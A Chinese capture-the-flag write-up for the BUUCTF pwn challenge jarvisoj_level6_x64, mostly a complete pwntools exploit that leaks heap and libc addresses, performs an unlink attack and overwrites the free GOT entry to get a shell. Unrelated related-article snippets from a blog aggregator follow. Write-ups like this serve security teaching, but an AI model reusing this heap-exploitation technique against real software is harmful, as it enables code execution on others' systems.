buuctf-pwn:jarvisoj_level6_x64
jarvisoj_level6_x64
只能申请unsorted bin大小下的unlink
IDA看一下,可以发现edit里面有任意堆溢出的情况(realloc造成堆溢出)
然后free里面有UAF漏洞



然后几个注意的点,unlink直接可以模板化
1,泄漏地址 包括libc或者存放heap pointer的地址
2,unlink,伪造谁用谁的指针来unlink
3,修改heap为got指针也可以泄漏libc
exp
1 #coding:utf-8
2 '''
3 author: lemon
4 time:
5 libc:
6 python version:
7 '''
8
9 from pwn import *
10 from LibcSearcher import *
11
12 local = 0
13
14 binary = "./freenote_x64"
15
16 if local == 1:
17 p = process(binary)
18 else:
19 p = remote("node3.buuoj.cn",29231)
20
21 def dbg():
22 context.log_level = 'debug'
23
24 context.terminal = ['tmux','splitw','-h']
25
26 def add(size,content):
27 p.sendlineafter('Your choice:','2')
28 p.sendlineafter('Length of new note: ',str(size))
29 p.sendafter('Enter your note:',content)
30
31 def free(index):
32 p.sendlineafter('Your choice: ','4')
33 p.sendlineafter('Note number: ',str(index))
34
35 def show():
36 p.sendlineafter('Your choice: ','1')
37
38 def edit(index,size,content):
39 p.sendlineafter('Your choice: ','3')
40 p.sendlineafter('Note number: ',str(index))
41 p.sendlineafter('Length of note: ',str(size))
42 p.sendafter('Enter your note: ',content)
43
44 add(0x80,0x80 * 'a') # chunk 0
45 add(0x80,0x80 * 'a') # chunk 1
46 add(0x80,0x80 * 'a') # chunk 2
47 add(0x80,0x80 * 'a') # chunk 3
48 add(0x80,0x80 * 'a') # chunk 4
49
50 edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
51
52 #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
53
54 print "unlink前先泄漏出堆的基地址"
55
56 free(3)
57 free(1)
58
59 payload = 0x90 * 'a'
60 edit(0,len(payload),payload)
61 show()
62 p.recvuntil(0x90 * 'a')
63 #heap = u64(p.recv(6) + '\x00\x00')
64 heap_0 = u64(p.recvuntil('\x0a',drop = True) + '\x00\x00\x00\x00') - 0x19a0
65 print "[*] heap:",hex(heap_0)
66 heap_4 = heap_0 + 0x1a40
67
68
69 print "unlink"
70
71 fd = heap_0 - 0x18
72 bk = heap_0 - 0x10
73
74 payload = p64(0) + p64(0x80)
75 payload += p64(fd) + p64(bk)
76 payload = payload.ljust(0x80,'\x00')
77 payload += p64(0x80) + p64(0x90)
78 edit(0,len(payload),payload)
79
80 free(1)
81
82 print "leak libc"
83
84 elf = ELF('./freenote_x64')
85 free_got = elf.got['free']
86 print "[*] free:",hex(free_got)
87
88 payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
89 payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
90 payload = payload.ljust(0x90,'\x00')
91 edit(0,len(payload),payload)
92 show()
93 free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
94
95 # libc_base = free - libc.sym['free']
96 # system = libc_base + libc.sym['system']
97
98 libc = LibcSearcher('free',free)
99 libc_base = free - libc.dump('free')
100 system = libc_base + libc.dump('system')
101
102 payload = p64(system)
103 edit(0,len(payload),payload)
104
105 #gdb.attach(p)
106 p.interactive()
buuctf-pwn:jarvisoj_level6_x64的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- 常见消息中间件之ActiveMQ
前言 消息队列是指利用高效可靠的消息传递机制进行与平台无关的数据交流,并基于数据通信来进行分布式系统的集成.目前消息队列已经逐渐成为企业IT系统内部通信的核心手段,它具有低耦合.可靠投递.广播.流量控 ...
- 《Web安全攻防渗透测试实战指南》 各类型 SQL注入 实验过程整理
Union注入 https://www.jianshu.com/p/8a11bf55aaee Boolean注入 https://www.jianshu.com/p/e4086f59812d 报错注入 ...
- UnityShader学习笔记- Stencil Buffer
模板测试(Stencil Test)是现代渲染流水线的一环,其中涉及到的就是模板缓冲(Stencil Buffer),模板缓冲可以用来制作物体的遮罩.轮廓描边.阴影.遮挡显示等等效果 目录 Stenc ...
- 你来讲讲AQS是什么吧?都是怎么用的?
前言 在Java面试的时候,多线程相关的知识是躲不掉的,肯定会被问.我就被问到了AQS的知识,就直接了当的问,AQS知道是什么吧,来讲讲它是怎么实现的,以及哪些地方用到了它.当时自己确实没有讲好,所以 ...
- 02 Writing Your First Program 写你的第一个C程序
Let's print "Hi" 打印输出"Hi" In your first computer program, let's print something ...
- Burp时间到期之复活
Burp昨天到期了,找了好久终于找到可以用的了,分享给大家. https://pan.baidu.com/s/1hsEhUYS r6ls PS:https://github.com/mxcxvn/Bu ...
- Python下的图像处理库,你选哪个?
奥里给~ 转载:https://blog.csdn.net/chen801090/article/details/105795068/ 在进行数字图像处理时,我们经常需要对图像进行读取.保存.缩放.裁 ...
- c中_tmain()和main()区别
来源参考:https://www.cnblogs.com/lucyjiayou/archive/2011/05/07/2039621.html tchar.h>可以找到,如#define _tm ...
- matlab中fft快速傅里叶变换
视频来源:https://www.bilibili.com/video/av51932171?t=628. 博文来源:https://ww2.mathworks.cn/help/matlab/ref/ ...
- 2020武汉dotNET俱乐部分享交流活动正式启动
去年9月去上海参加了2019 .NET开发者峰会,感触良多.回来后便一直想着在武汉也组织一场这样的活动,推动一下武汉.NET的发展.由于疫情的影响,这个想法一直被搁浅,好在疫情总算是控制住了,所以我们 ...